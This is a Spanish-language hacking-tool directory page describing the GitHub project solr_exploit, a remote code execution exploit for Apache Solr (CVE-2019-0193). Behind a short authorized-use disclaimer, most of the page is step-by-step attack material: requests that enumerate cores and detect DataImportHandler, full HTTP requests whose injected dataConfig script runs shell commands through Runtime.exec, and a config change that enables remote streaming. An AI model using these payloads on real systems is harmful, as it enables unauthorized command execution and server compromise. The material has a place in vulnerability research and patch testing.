Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
solr_exploit — Apache Solr Vulnerabilidad de Ejecución Remota de Código (CVE-2019-0193) Exploit | Kitploit
Herramientas/GitHubGitHub/1135/solr_exploit
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebComando y ControlHerramienta de Acceso Remoto
GitHub1135/solr_exploit

solr_exploit

Apache Solr Vulnerabilidad de Ejecución Remota de Código (CVE-2019-0193) Exploit

Ver Repositorio
65142hace 6 añosRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Declaración

Los métodos de detección de vulnerabilidades, archivos y demás contenidos proporcionados aquí están destinados exclusivamente para que los profesionales de seguridad los utilicen con autorización legal, con el objetivo de verificar la seguridad de los servidores autorizados. Los profesionales de seguridad deben cumplir con las leyes y regulaciones, y está prohibido realizar cualquier detección de vulnerabilidades sin la debida autorización.

Introducción

Análisis de vulnerabilidad - Apache Solr Vulnerabilidad de ejecución remota de código (CVE-2019-0193) - Comunidad Xianzhi

En teoría, se pueden usar varios tipos diferentes de fuentes de datos para construir Exploits.

Exploit1 utiliza el tipo de fuente de datos URLDataSource

Exploit2 utiliza el tipo de fuente de datos ContentStreamDataSource

Detección de vulnerabilidad - Exploit1

Exploit1 utiliza el tipo de fuente de datos URLDataSource

Ventajas: muestra el resultado; compatible con versiones antiguas de Solr

Desventajas: requiere conexión a Internet

Paso 1

Construir una fuente de datos de tipo URLDataSource (¡el servidor Solr accederá a esta fuente de datos!). Se puede usar directamente esta URL:

https://raw.githubusercontent.com/1135/solr_exploit/master/URLDataSource/demo.xml

El documento demo.xml es una fuente de datos de tipo URLDataSource, un documento XML inofensivo y normal.

El documento tiene solo un elemento item para que el comando se ejecute solo una vez.

También se puede iniciar un servidor web propio para alojar el documento demo.xml. Comando: live-server --port=5555. Se obtiene la dirección http://127.0.0.1:5555/demo.xml

Paso 2

Obtener los nombres de todos los núcleos (cores) de índice en Solr:

root@kitploit:~
http://{xx.com:80}/solr/admin/cores

Respuesta HTTP en JSON que contiene los nombres de todos los núcleos de índice:

"name":"xxxx"

Paso 3

Determinar si el núcleo de índice utiliza el módulo DataImportHandler.

Método 1:

root@kitploit:~
Acceder a:
http://{xx.com:80}/solr/{core_name}/admin/mbeans?cat=QUERY&wt=json

Si se utiliza el módulo DataImportHandler, la respuesta HTTP contendrá:
org.apache.solr.handler.dataimport.DataImportHandler

De lo contrario, significa que no se utiliza el módulo DataImportHandler (no afectado por esta vulnerabilidad)

Método 2:

root@kitploit:~
Acceder a:
http://{xx.com:80}/solr/#/{core_name}/dataimport

Si el servidor Solr no utiliza el módulo dataimport-handler (no afectado por esta vulnerabilidad), la respuesta HTTP contendrá un aviso:
sorry, no dataimport-handler defined!

De lo contrario, significa que se utiliza el módulo DataImportHandler (afectado por esta vulnerabilidad)

Paso 4 Construir la solicitud HTTP

Ejecutar el comando; la respuesta HTTP mostrará el resultado. Admite resultados de varias líneas (cada línea termina con \n\r según lo escrito).

Nota: Reemplazar la cadena "tika" en la URL de la siguiente solicitud por el nombre del núcleo de índice.

root@kitploit:~
POST /solr/tika/dataimport HTTP/1.1
Host: solr.com:8983
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://solr.com:8983/solr/
Content-type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Content-Length: 1231
Connection: close

command=full-import&verbose=false&clean=false&commit=false&debug=true&core=tika&name=dataimport&dataConfig=
<dataConfig>


  <dataSource type="URLDataSource"/>
  <script><![CDATA[

          function poc(row){

 var bufReader = new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec("ls").getInputStream()));

var result = [];

while(true) {
var oneline = bufReader.readLine();
result.push( oneline );
if(!oneline) break;
}

row.put("title",result.join("\n\r"));

return row;

}


  ]]></script>

        <document>
             <entity name="entity1"
                     url="https://raw.githubusercontent.com/1135/solr_exploit/master/URLDataSource/demo.xml"
                     processor="XPathEntityProcessor"
                     forEach="/RDF/item"
                     transformer="script:poc">
                        <field column="title" xpath="/RDF/item/title" />
             </entity>
        </document>
</dataConfig>

Detección de vulnerabilidad - Exploit2

Exploit2 utiliza el tipo de fuente de datos ContentStreamDataSource

Ventajas: muestra el resultado; no requiere conexión a Internet

Desventajas: no se puede detectar en versiones antiguas (porque falla la modificación de la configuración en el archivo configoverlay.json a través de una solicitud POST)

Pasos 1-3

Paso 1 omitido.

Pasos 2-3 igual que arriba.

Paso 4

Este paso modifica la configuración en el archivo configoverlay.json para habilitar las opciones de transmisión remota: .enableStreamBody, .enableRemoteStreaming.

Reemplazar tika por el nombre del núcleo de índice.

root@kitploit:~
POST /solr/tika/config HTTP/1.1
Host: 127.0.0.1
Accept: */*
Content-type:application/json
Content-Length: 159
Connection: close

{"set-property": {"requestDispatcher.requestParsers.enableRemoteStreaming": true}, "set-property": {"requestDispatcher.requestParsers.enableStreamBody": true}}

Respuesta 200: éxito (en pruebas con 8.1 fue exitoso)

Respuesta 500: fallo (en pruebas, algunas versiones antiguas fallan)

Paso 5

Enviar solicitud para ejecutar el comando del sistema ifconfig y obtener la salida (sin conexión externa, no requiere Internet)

root@kitploit:~
POST /solr/tika/dataimport?command=full-import&verbose=false&clean=false&commit=false&debug=true&core=tika&name=dataimport&dataConfig=%0a%3c%64%61%74%61%43%6f%6e%66%69%67%3e%0a%3c%64%61%74%61%53%6f%75%72%63%65%20%6e%61%6d%65%3d%22%73%74%72%65%61%6d%73%72%63%22%20%74%79%70%65%3d%22%43%6f%6e%74%65%6e%74%53%74%72%65%61%6d%44%61%74%61%53%6f%75%72%63%65%22%20%6c%6f%67%67%65%72%4c%65%76%65%6c%3d%22%54%52%41%43%45%22%20%2f%3e%0a%0a%20%20%3c%73%63%72%69%70%74%3e%3c%21%5b%43%44%41%54%41%5b%0a%20%20%20%20%20%20%20%20%20%20%66%75%6e%63%74%69%6f%6e%20%70%6f%63%28%72%6f%77%29%7b%0a%20%76%61%72%20%62%75%66%52%65%61%64%65%72%20%3d%20%6e%65%77%20%6a%61%76%61%2e%69%6f%2e%42%75%66%66%65%72%65%64%52%65%61%64%65%72%28%6e%65%77%20%6a%61%76%61%2e%69%6f%2e%49%6e%70%75%74%53%74%72%65%61%6d%52%65%61%64%65%72%28%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22%69%66%63%6f%6e%66%69%67%22%29%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29%29%29%3b%0a%0a%76%61%72%20%72%65%73%75%6c%74%20%3d%20%5b%5d%3b%0a%0a%77%68%69%6c%65%28%74%72%75%65%29%20%7b%0a%76%61%72%20%6f%6e%65%6c%69%6e%65%20%3d%20%62%75%66%52%65%61%64%65%72%2e%72%65%61%64%4c%69%6e%65%28%29%3b%0a%72%65%73%75%6c%74%2e%70%75%73%68%28%20%6f%6e%65%6c%69%6e%65%20%29%3b%0a%69%66%28%21%6f%6e%65%6c%69%6e%65%29%20%62%72%65%61%6b%3b%0a%7d%0a%0a%72%6f%77%2e%70%75%74%28%22%74%69%74%6c%65%22%2c%72%65%73%75%6c%74%2e%6a%6f%69%6e%28%22%5c%6e%5c%72%22%29%29%3b%0a%72%65%74%75%72%6e%20%72%6f%77%3b%0a%0a%7d%0a%0a%5d%5d%3e%3c%2f%73%63%72%69%70%74%3e%0a%0a%3c%64%6f%63%75%6d%65%6e%74%3e%0a%20%20%20%20%3c%65%6e%74%69%74%79%0a%20%20%20%20%20%20%20%20%73%74%72%65%61%6d%3d%22%74%72%75%65%22%0a%20%20%20%20%20%20%20%20%6e%61%6d%65%3d%22%65%6e%74%69%74%79%31%22%0a%20%20%20%20%20%20%20%20%64%61%74%61%73%6f%75%72%63%65%3d%22%73%74%72%65%61%6d%73%72%63%31%22%0a%20%20%20%20%20%20%20%20%70%72%6f%63%65%73%73%6f%72%3d%22%58%50%61%74%68%45%6e%74%69%74%79%50%72%6f%63%65%73%73%6f%72%22%0a%20%20%20%20%20%20%20%20%72%6f%6f%74%45%6e%74%69%74%79%3d%22%74%72%75%65%22%0a%20%20%20%20%20%20%20%20%66%6f%72%45%61%63%68%3d%22%2f%52%44%46%2f%69%74%65%6d%22%0a%20%20%20%20%20%20%20%20%74%72%61%6e%73%66%6f%72%6d%65%72%3d%22%73%63%72%69%70%74%3a%70%6f%63%22%3e%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%3c%66%69%65%6c%64%20%63%6f%6c%75%6d%6e%3d%22%74%69%74%6c%65%22%20%78%70%61%74%68%3d%22%2f%52%44%46%2f%69%74%65%6d%2f%74%69%74%6c%65%22%20%2f%3e%0a%20%20%20%20%3c%2f%65%6e%74%69%74%79%3e%0a%3c%2f%64%6f%63%75%6d%65%6e%74%3e%0a%3c%2f%64%61%74%61%43%6f%6e%66%69%67%3e%0a%20%20%20%20%0a%20%20%20%20%20%20%20%20%20%20%20 HTTP/1.1
Host: solr.com:8983
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://solr.com:8983/solr/
Content-Length: 212
content-type: multipart/form-data; boundary=------------------------aceb88c2159f183f


--------------------------aceb88c2159f183f
Content-Disposition: form-data; name="stream.body"

<?xml version="1.0" encoding="UTF-8"?>
<RDF>
<item/>
</RDF>

--------------------------aceb88c2159f183f--

Nota: el valor de dataConfig, antes de la codificación URL, es la siguiente cadena:

root@kitploit:~
<dataConfig>
<dataSource name="streamsrc" type="ContentStreamDataSource" loggerLevel="TRACE" />

  <script><![CDATA[
          function poc(row){
 var bufReader = new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec("ifconfig").getInputStream()));

var result = [];

while(true) {
var oneline = bufReader.readLine();
result.push( oneline );
if(!oneline) break;
}

row.put("title",result.join("\n\r"));
return row;

}

]]></script>

<document>
    <entity
        stream="true"
        name="entity1"
        datasource="streamsrc1"
        processor="XPathEntityProcessor"
        rootEntity="true"
        forEach="/RDF/item"
        transformer="script:poc">
             <field column="title" xpath="/RDF/item/title" />
    </entity>
</document>
</dataConfig>
Descargar herramienta